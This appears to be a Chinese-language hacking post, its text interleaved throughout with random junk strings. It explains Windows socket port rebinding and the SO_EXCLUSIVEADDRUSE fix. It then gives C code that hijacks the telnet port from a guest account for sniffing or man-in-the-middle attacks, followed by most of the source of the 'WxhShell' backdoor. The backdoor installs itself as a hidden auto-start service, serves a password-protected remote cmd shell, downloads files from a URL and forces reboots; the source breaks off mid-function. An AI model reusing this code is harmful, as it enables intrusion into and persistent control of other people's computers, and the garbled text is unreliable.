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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +By '6?22 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wik<#ke g<0K
i^# saddr.sin_family = AF_INET; BQg3+w:> =4SXntU!e saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9609 DQXcf*R bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CyYr5 Dz S1y6G/e9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /Qr`au v3M$UiN,: 这意味着什么?意味着可以进行如下的攻击: .43cI( Gbclu.4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Vym0|cW w"dKOdY 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~ *"iLf@, =QtFJ9\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V|sV U Q{950$)L 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 gSw<C+ `t)9u^[<( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y'4Qt.1ukN Q/0gd? U? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nC%qdzT 1kL8EPT%o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \'Et)uD* wW)(mY? #include (Y7zaAG] #include sw$uZ$$~# #include _&S#;ni\c #include FibZT1-k DWORD WINAPI ClientThread(LPVOID lpParam); {9V.l.Q int main() O]@#53)Tz { _]4p51r0 WORD wVersionRequested; pl1CPxSdO DWORD ret; >JS^yVk WSADATA wsaData; >&S}u\/ BOOL val; <YU4RZ SOCKADDR_IN saddr; y||RK`H SOCKADDR_IN scaddr; _Q
I!UQdW int err; u4SL:IH{D SOCKET s; EUcD[Rv SOCKET sc; =_|G q| int caddsize; ^w~B]*A:" HANDLE mt; !1=OaOT DWORD tid; MSvZ3[5Io wVersionRequested = MAKEWORD( 2, 2 ); s*yl&El/ err = WSAStartup( wVersionRequested, &wsaData ); +#BOWz if ( err != 0 ) { _r\M}lDh* printf("error!WSAStartup failed!\n"); QNU~G3 return -1; fpo{`;&F } ]gcOMC saddr.sin_family = AF_INET; \2a;z<( 8/dMvAB1So //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s[0` _Wg}#r saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4^2>KC_ saddr.sin_port = htons(23); Q9O_>mZy if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-NN=(p!< { (iir,Ks2C printf("error!socket failed!\n"); k"&o)*d return -1; I]e+5 E0 } ;]=w6'dP! val = TRUE; [F+W]Jk, //SO_REUSEADDR选项就是可以实现端口重绑定的 Yn="vpM1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d:K\W[$Bz { Z8xB
a0 printf("error!setsockopt failed!\n"); .06D_L"M return -1; mWaij]1> } Yr-SlO> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G|1.qHP[F //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XxmWj-=qO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6 V0Ayxg7 JJ?rVq1g if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j;coP ehB { b}0h()v ret=GetLastError(); (
uD^_N]3 printf("error!bind failed!\n"); jj]\]6@+P return -1; #lvt4a"P" } UcQ]n0J=Z listen(s,2); P%e7c, while(1) = N*Jis { ,*6K3/kW caddsize = sizeof(scaddr); l|gi2~ %Y //接受连接请求 mXyP;k sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;i6~iLY if(sc!=INVALID_SOCKET) ;NRh0)%|o { [C6ba{9B mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B1nm?E 0i if(mt==NULL) C&w0HoF { o6O-\d7^M printf("Thread Creat Failed!\n"); k"i3$^v8 break; \vT~2Y(K } 8Zsaq1S } <5z!0m-G CloseHandle(mt); VrZfjpV } ^*.$@M closesocket(s); 23^>#b7st WSACleanup(); VM\R-[ return 0; "E2 0Y"[h } Q+
V<& DWORD WINAPI ClientThread(LPVOID lpParam) T@yQOD7 { BkXv4|UE SOCKET ss = (SOCKET)lpParam; xNOKa* SOCKET sc; {HEWU<5 unsigned char buf[4096]; R~oJ-}iYX SOCKADDR_IN saddr; ;(`bP long num; xE<H@@w DWORD val; ~-7/9$ay5 DWORD ret; E! NtD).=S //如果是隐藏端口应用的话,可以在此处加一些判断 hp'oiR;~w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Gr2}N"X= saddr.sin_family = AF_INET; %BkE %ZcZ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uKk#V6t# saddr.sin_port = htons(23); N
{
oVz], if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F:ycV~bE { ?(=|!`IoO printf("error!socket failed!\n"); :gwmk9LZ return -1; oa"Bpi9i } ?tjEXg>ny val = 100; z U[pn)pe if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -@w,tbc$ { Zio!j%G ret = GetLastError(); #2_FM!e return -1; V[/9?5pM } 06.%9R{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,ZJ}X 9$< { w ea ret = GetLastError(); q][kD2 return -1; X.4WVI } .2JZ7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }NC$Ce { ESV./~K printf("error!socket connect failed!\n"); n?r8ZDJ' closesocket(sc); pwfQqPC#_ closesocket(ss); ]C,j80+pK return -1; %;QK5L } ,g7O while(1) hTLf$_|P { tB>!1}v //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z]8Mv(eL //如果是嗅探内容的话,可以再此处进行内容分析和记录 s|<n7 =J //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q;3`T7 num = recv(ss,buf,4096,0); )m7%cyfC if(num>0) x!GDS> send(sc,buf,num,0); o!UB x<4 else if(num==0) /(s |'"6 break; Q"FN"uQ}x num = recv(sc,buf,4096,0); -"nkC if(num>0) IwnDG;+Ap send(ss,buf,num,0); S,:!H@~B else if(num==0) 0<`qz |_h break; G^d3$7 } /P,1KVQPh closesocket(ss); a8T9=KY^ closesocket(sc); cOP'ql{" return 0 ; @3c'4O
} 5CK\Z'c~! Zt9G[[] D*- ========================================================== /W,hOv (9%?ik 下边附上一个代码,,WXhSHELL =_k 8wkhbD|; ========================================================== 6Z#Nh@!+C 30^q_|l:] #include "stdafx.h" Fc`IRPW< 'Jf
LTG. #include <stdio.h> 85&7WAco"B #include <string.h> ;?HP/dZLz #include <windows.h> 4Y59^ #include <winsock2.h> g$GGo[_0 #include <winsvc.h> :} =lE"2 #include <urlmon.h> O/#3QK 9~~NxWY%x #pragma comment (lib, "Ws2_32.lib") 'hr_g* i #pragma comment (lib, "urlmon.lib") M%ecWr!tj Cty{ #define MAX_USER 100 // 最大客户端连接数 *Ze0V9$' #define BUF_SOCK 200 // sock buffer Q|o$^D, #define KEY_BUFF 255 // 输入 buffer [&99#7B kfas4mkc #define REBOOT 0 // 重启 *.nSv@F #define SHUTDOWN 1 // 关机 aWTurnee^ .S,E= #define DEF_PORT 5000 // 监听端口 ,4"N7_!7 > .NLmzUX #define REG_LEN 16 // 注册表键长度 e+BZoK ^ #define SVC_LEN 80 // NT服务名长度 ZOPK A-4;$
QSm // 从dll定义API +&u/R')?6r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); afX|R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ((]i}s0S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [(*Eg!?W= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ich^*z(F$ P,] ./m\J // wxhshell配置信息 &Pme4IHtm struct WSCFG { Ti)Me-g int ws_port; // 监听端口 _(J#RH char ws_passstr[REG_LEN]; // 口令 Y({
R\W| int ws_autoins; // 安装标记, 1=yes 0=no k#pO+[ x char ws_regname[REG_LEN]; // 注册表键名 9oc_*V0< char ws_svcname[REG_LEN]; // 服务名 If'2
m_ char ws_svcdisp[SVC_LEN]; // 服务显示名 L3\#ufytb char ws_svcdesc[SVC_LEN]; // 服务描述信息 LI.WcI3uS char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <Mvniz int ws_downexe; // 下载执行标记, 1=yes 0=no k^ZP~.G char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" W6>t!1oO+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .:&`PaMt I;JV-jDM }; i;{lY1 '/qy_7O // default Wxhshell configuration *CXc{{ struct WSCFG wscfg={DEF_PORT, LGuZp?" "xuhuanlingzhe", MkMDI)Y| 1, $Z)u04;&@ "Wxhshell", +r"}@8/\1 "Wxhshell", Szt2 "AR "WxhShell Service", $$ *tK8# "Wrsky Windows CmdShell Service", u_NLgM7* "Please Input Your Password: ", KJyCfMH&:@ 1, A{\?]]/ " http://www.wrsky.com/wxhshell.exe", X>`03?L "Wxhshell.exe" oQ-m }; "[7-1} l mmJnE // 消息定义模块 %2dzx[s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qqg.z-G%. char *msg_ws_prompt="\n\r? for help\n\r#>"; ,*W~M&n"m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ,&@GxiU char *msg_ws_ext="\n\rExit."; *_I`{9~' char *msg_ws_end="\n\rQuit."; |Io:D: char *msg_ws_boot="\n\rReboot..."; U)f('zD char *msg_ws_poff="\n\rShutdown..."; j"6|$Ze8 char *msg_ws_down="\n\rSave to "; #b*4v&< jC[_uG char *msg_ws_err="\n\rErr!"; [c=P)t7
V char *msg_ws_ok="\n\rOK!"; :qxWANUa cdkEK char ExeFile[MAX_PATH]; 5FJLDT2Lg int nUser = 0; yfV]f
LZ HANDLE handles[MAX_USER]; $=diG int OsIsNt; hO[_ _j8 N{bg-%s10i SERVICE_STATUS serviceStatus; KE"6I SERVICE_STATUS_HANDLE hServiceStatusHandle; Hre&a!U AJ6l#j- // 函数声明 Kw"e4 a int Install(void); <vWP_yy int Uninstall(void); v3cMPN int DownloadFile(char *sURL, SOCKET wsh); KwHN c\\ int Boot(int flag); J:W+'x`@ void HideProc(void); n[e C int GetOsVer(void); .*YF{!R`h int Wxhshell(SOCKET wsl); )B
$Q void TalkWithClient(void *cs); QWa@?BO2p int CmdShell(SOCKET sock); P\K#q%8 int StartFromService(void); DgcS@N int StartWxhshell(LPSTR lpCmdLine); G7CkP U&6A)SW,k VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (${:5W VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?7wcv$K5 k^|z.$+ // 数据结构和表定义 ox`Zs2-a SERVICE_TABLE_ENTRY DispatchTable[] = ppn 8 { <QvVPE}z {wscfg.ws_svcname, NTServiceMain}, {.k IC@^O {NULL, NULL} }Fu1Y@M% }; Kd 1=mC 3'x>$5W // 自我安装 v@Eb[7Kq/1 int Install(void) Kkovp^G { |U1 [R\X char svExeFile[MAX_PATH]; "{~FEx4 HKEY key; :|kO}NGM strcpy(svExeFile,ExeFile); ;b65s9n^b *w0|`[P+h // 如果是win9x系统,修改注册表设为自启动 xP~GpVhLF if(!OsIsNt) { ds+K7B$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*~
I HVU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a]fFR~OY RegCloseKey(key); ZKrK>X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \?t8[N\_[( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )t+pwh!8 RegCloseKey(key); U[3w9 return 0; =(hBgNH } mK$E&,OkA } _4)
t } KRlJKd{ else { 8tSY|ME oQh;lb // 如果是NT以上系统,安装为系统服务 lHM}
E$5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0~ nCT&V if (schSCManager!=0) Z<>gx m< { \EU3i;BNT% SC_HANDLE schService = CreateService ][l5S*CC_ ( GC# [&>L schSCManager, |sr\SCx wscfg.ws_svcname, 9^g8VlQdT wscfg.ws_svcdisp, sx azl] SERVICE_ALL_ACCESS, +|bmUm<2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `^{G`es SERVICE_AUTO_START, 5'f_~>1Wt SERVICE_ERROR_NORMAL, !I1p`_(_7 svExeFile, =7TWzUCO# NULL, >WZ%Pv* NULL, (BtU\f#d NULL, Pq<43:*? NULL, 9~j"6wS NULL i_m&qy<v ); TJRp/BP if (schService!=0) M:OZWYQ { <-N eusx% CloseServiceHandle(schService); 2m*ugBO; CloseServiceHandle(schSCManager); p'^}J$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t)8crX}P strcat(svExeFile,wscfg.ws_svcname); j%3$ytf|p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0^Ldw)C" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); **__&Xp1 RegCloseKey(key); bj0HAgY@ return 0; 4w%hvJ } Bn8&~ } h(nE)j CloseServiceHandle(schSCManager); s[{8:Px } XOqHzft h6 } dEXhn A4l"^dZc return 1; gmu.8 } b/*QV0( .T8^>z1/\F // 自我卸载 ,B;mG]_ int Uninstall(void) n%;qIKnIq\ { w7~]c,$y. HKEY key; 1f^oW[w& bny@AP(CY+ if(!OsIsNt) { rkS'OC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =aj|auu RegDeleteValue(key,wscfg.ws_regname); 0e"KdsA:<U RegCloseKey(key); "Vc|D (g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bZWR.</ RegDeleteValue(key,wscfg.ws_regname); $/Wec,`& RegCloseKey(key);
PC@HNto{ return 0; EhO\N\p(Q= } ! weYOOu } zQ<&[Tuwa } W'k&DKhTqF else { Z{(Gib~{N !^L}LtqHI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); as3uz if (schSCManager!=0) _d~GY,WTdO { |:(B I5&S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lbIW1z%:sy if (schService!=0) {DvWa| { `,pBOh|' if(DeleteService(schService)!=0) { OdyL
j CloseServiceHandle(schService); A|IPQ= CloseServiceHandle(schSCManager); ~qb?#IY]` return 0; gHUW1E } >@4Ds"Ye"O CloseServiceHandle(schService); 056yhB } yT3K 2A CloseServiceHandle(schSCManager); i)@vHh82 } /-<]v3J } 1: cq\Y "OUY^ cM return 1; X+emJ&Z$@ } '%Oo1:wJ $?: -A // 从指定url下载文件 b,HXD~= int DownloadFile(char *sURL, SOCKET wsh) &C,]c#-+ { H!y@.W{_ HRESULT hr; @AG=Eq9<o char seps[]= "/"; yF` (GU char *token; P'_ aNU char *file; ?b^<Tny char myURL[MAX_PATH];
2 (ux char myFILE[MAX_PATH]; )CL/%I,^ 3 5-FD{ strcpy(myURL,sURL); *Z"Kvj;>u token=strtok(myURL,seps); /Jk.b/t.*S while(token!=NULL) %iV\nFal> { Y=pRenV' file=token; qy\SOAh token=strtok(NULL,seps); E.VEW;= } /KvpJ4 TKw>eGe GetCurrentDirectory(MAX_PATH,myFILE); Z-U3TrSI
strcat(myFILE, "\\"); Grd9yLF strcat(myFILE, file); `n|k+tsC send(wsh,myFILE,strlen(myFILE),0); IfRrl/!nw send(wsh,"...",3,0); %ULd_ES^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "J
>,
Hr9 if(hr==S_OK) &:+_{nc, return 0; 8r\xQr'8h else . 55aY~We return 1; +xmZK<{<
t.O4-+$ig } SR)@'-Wd '?fn} V // 系统电源模块 Y u^ } int Boot(int flag) A@k=Mk { )^^}!U#|e HANDLE hToken; ~>$(5s2 TOKEN_PRIVILEGES tkp; ER$~kFE2yP kS7T'[d if(OsIsNt) { }>j1j^c1=' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?~Vev D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ug O \+cI tkp.PrivilegeCount = 1; 7xT<|3 I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p@znmn- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^h|'\-d\ if(flag==REBOOT) { n_] OYG>U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 483vFLnF return 0; QaEXk5>e } KQqQ@D&n else { tX}Fb0y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `+@%l*TQ return 0; m7mC
7x } }KkH7XksF } F{<rIR else { }@A~a`9g if(flag==REBOOT) { 6Ue6b$xE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t!Av[K return 0; Vk~}^;`Y } G}~b else { *JOv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q`;URkjk return 0; N=L
urXv } 7~`6~qg. }
ae1fCw3k I`KN8ll return 1; 9p$q@Bc } `^N;%[c`z .g&BA15<F6 // win9x进程隐藏模块 E3KPJ`=!*" void HideProc(void) _H3cqD { N4mQN90t aH$*Ue@Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DwTZ<H4 if ( hKernel != NULL ) p-/x Md { L_Ai/' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ri-wbYFaP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $S cjEG:6 FreeLibrary(hKernel); d ly 0874 } &k{@:z AU$5"kBE return; %I=J8$B]f } 42Ffx?Qmv {5z?5i ?D // 获取操作系统版本 9hp0wi@W} int GetOsVer(void) pcl_$2_ { YGn:_9 OSVERSIONINFO winfo; 6ensNr~ea winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `") I[h GetVersionEx(&winfo); <*5D0q#~" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,zyrBO0 Eq return 1; >)
:d38M else bo"I:)n; return 0; Tp6ysjao } },L[bDOV07 f!Ie // 客户端句柄模块 fu&]t8MJC int Wxhshell(SOCKET wsl) G`W+m*[U+M { vA{[F7 SOCKET wsh; u1kbWbHu( struct sockaddr_in client; hP#&]W3: DWORD myID; xO@OkCue %`\{Nxk while(nUser<MAX_USER) gR>#LM&dG { 6%xl}z]o int nSize=sizeof(client); C]XDDr wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &\K#UVDyhh if(wsh==INVALID_SOCKET) return 1; Bms?`7}N ,?f(~<Aj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sR0nY8@F if(handles[nUser]==0) WL~`L!_. A closesocket(wsh); K=>/(sWiq else i!nl%% nUser++; %?$"oWmenS } JZ7-?
o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p 5'\< gQ u60l - return 0; 8vP)qy8 } / L8=8 D.GSl // 关闭 socket u!S{[7 FY void CloseIt(SOCKET wsh) A|+{x4s` { 8YJ({ Ou_ closesocket(wsh); _[7uLWyC9 nUser--; zBR]bk\ ExitThread(0); +$'/!vN } BW;u?1Xa _B[(/wY // 客户端请求句柄 7> Qt O void TalkWithClient(void *cs) 32Z4&~I { dA~6{*) h 2zCX SOCKET wsh=(SOCKET)cs; y%y#Pb| char pwd[SVC_LEN]; q.t5L=l^
r char cmd[KEY_BUFF]; b +_E)4 char chr[1]; }1P int i,j; yC5|"+
A$ 4c yv
8 while (nUser < MAX_USER) { *%e#)sn* -d~'tti if(wscfg.ws_passstr) { 5*r6#[S\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~eP2PG //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V]2z5u_q //ZeroMemory(pwd,KEY_BUFF); kShniN i=0; ublY!Af while(i<SVC_LEN) { YGO@X(ej, 5W48z%MN
// 设置超时 fYi!Z/Ck2 fd_set FdRead; )qIK7; struct timeval TimeOut; hd B[H8Q FD_ZERO(&FdRead); )Fw)&5B! FD_SET(wsh,&FdRead); y()( 8L TimeOut.tv_sec=8; uI[*uAR TimeOut.tv_usec=0; )em.KbsPPF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z0=OR^HjA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9lxT5Wg .%A2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \v_C7R;& pwd =chr[0]; ,d+mT^jN if(chr[0]==0xd || chr[0]==0xa) { 2vC=.1k pwd=0; 2 *$n? break; K&h6#[^\d } ihVQ,Cth i++; =!X4j3Cv } ZIp=JR8o$ u/f&Wq/ // 如果是非法用户,关闭 socket p3o?_ !Z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _u>>+6,p } luT8>9X^:a 86g+c send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c"ztrKQQ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'Ap5Aq \YS?}! 0 while(1) { nz\fN?q rWXW}Yg ZeroMemory(cmd,KEY_BUFF); |9I;`{@ O)R0,OPb // 自动支持客户端 telnet标准 B .mV\W j=0; \t@`]QzG: while(j<KEY_BUFF) { cIp h$@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JPG!cX% cmd[j]=chr[0]; 4/?Zp4g if(chr[0]==0xa || chr[0]==0xd) { fna>> cmd[j]=0; gOM`I+CwT break; pS;dvZ } ise}> A!t j++; ,0bM*qob } MVdx5,t :N}KScS|Wa // 下载文件
lijy?:__ if(strstr(cmd,"http://")) { cG:`Zj~4 send(wsh,msg_ws_down,strlen(msg_ws_down),0); d
]
;pG( if(DownloadFile(cmd,wsh)) )[*O^bPowI send(wsh,msg_ws_err,strlen(msg_ws_err),0); \irjIXtV else F948%?a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kVv
<tw } xF;v 6d else { 1\0@?6`^ !%r`'|9y switch(cmd[0]) { 3~ZVAg[c :F=nb+HZ // 帮助 H)Ge#=;ckQ case '?': { P;&p[[7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N~jQ!y break; 5nAF =Bj } [!mjUsut* // 安装 1.uQ(>n case 'i': { su;S)yZb if(Install()) ;7k7/f: send(wsh,msg_ws_err,strlen(msg_ws_err),0); >>zoG3H! else KCE-6T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dAl<'~g break; Zd ,= } 0)V-|v` // 卸载 {2^@jD case 'r': { 9AzGk=^
if(Uninstall()) ,r;d { send(wsh,msg_ws_err,strlen(msg_ws_err),0); VYo;[ue([ else dy?|Q33Y" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XH$|DeAFM break; q&T'x> / } -<]_:Kf{;& // 显示 wxhshell 所在路径 w lg#c6#q case 'p': { 22~X~= char svExeFile[MAX_PATH]; wtLMc strcpy(svExeFile,"\n\r"); mtddLd, strcat(svExeFile,ExeFile); e622{dfVS send(wsh,svExeFile,strlen(svExeFile),0); :OaQq@V break; 1o 78e2B } :0/o?'s // 重启 b]?;R case 'b': { 4CT9-2UC send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RLNuH2y; if(Boot(REBOOT)) .6o y>4 send(wsh,msg_ws_err,strlen(msg_ws_err),0);
hP8&n9o else { $4JX#lkt closesocket(wsh); }tO<_f)) ExitThread(0); PM!t"[@& } yuDd%
1k break; q.Z#7~6`3 } v=1S // 关机 i!x5T%x_ case 'd': { @|%ICG c send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); | V,jd if(Boot(SHUTDOWN)) ~j#6 goKn send(wsh,msg_ws_err,strlen(msg_ws_err),0); [(EH else { %MZDm&f>Kk closesocket(wsh); O \8G~V
5" ExitThread(0); kTc5KHJ7 } _J~ta. break; ik0Q^^1?Y } n4T2'e // 获取shell p+UHJ& case 's': { <JM%Kn ) CmdShell(wsh); ^Jl!WH=20} closesocket(wsh); T)f_W ExitThread(0); :k(t/*Nl3 break; E/$@ud|l" } {<4?o?
1g // 退出 6@;L$QYY-V case 'x': { _|wY[YJ[ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x~Ly$A2p CloseIt(wsh); Z)T@`B6
break; 1"B9Z6jf } @ZR4%A"X4 // 离开 UH&1c8y} case 'q': { ,xe@G)a send(wsh,msg_ws_end,strlen(msg_ws_end),0); %aE7id>v6 closesocket(wsh); (`.qG
&6p WSACleanup(); G:C6`uiy` exit(1); <&EO=A break; "|r^l } s1 ^mk] } ! vVjZ } p2DNbY\] q=%
C ( // 提示信息 Y1aF._Z if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `=$jc4@J } Z6([/n } ^npS==Y]!. :F
w"u4WI return; 7a]Zws } .P:f EJ;0ypbG // shell模块句柄 n.6
0$kR` int CmdShell(SOCKET sock) U2>dwn { Fif^V STARTUPINFO si; })Mv9~&S ZeroMemory(&si,sizeof(si)); cc(r,ij~4 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sa(M66KkU si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; imCl{vt(kj PROCESS_INFORMATION ProcessInfo; xnuv4Z}]t char cmdline[]="cmd"; mc=!X CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .Jat^iFj0 return 0; Q()RO*9 } QDgEJ%U- QD;f~fZ // 自身启动模式 (6#yw`\ int StartFromService(void) H0b6ZA%n { X)iWb(@k"7 typedef struct B6'%J { &Bz7fKCo DWORD ExitStatus; V_A,d8=lt DWORD PebBaseAddress; 7}tZ?vD DWORD AffinityMask; t6g)3F7 T DWORD BasePriority; wH_n$w ULONG UniqueProcessId; iraRB~ ULONG InheritedFromUniqueProcessId; ZDkD%SCy } PROCESS_BASIC_INFORMATION; rE{Xo:Cf IL[|CB1v PROCNTQSIP NtQueryInformationProcess; E%\7Uo- w]Ko/;;^2 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y^ZBA\D2,k static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *v
nxP9< Rp`_Grcd HANDLE hProcess; ks%7W
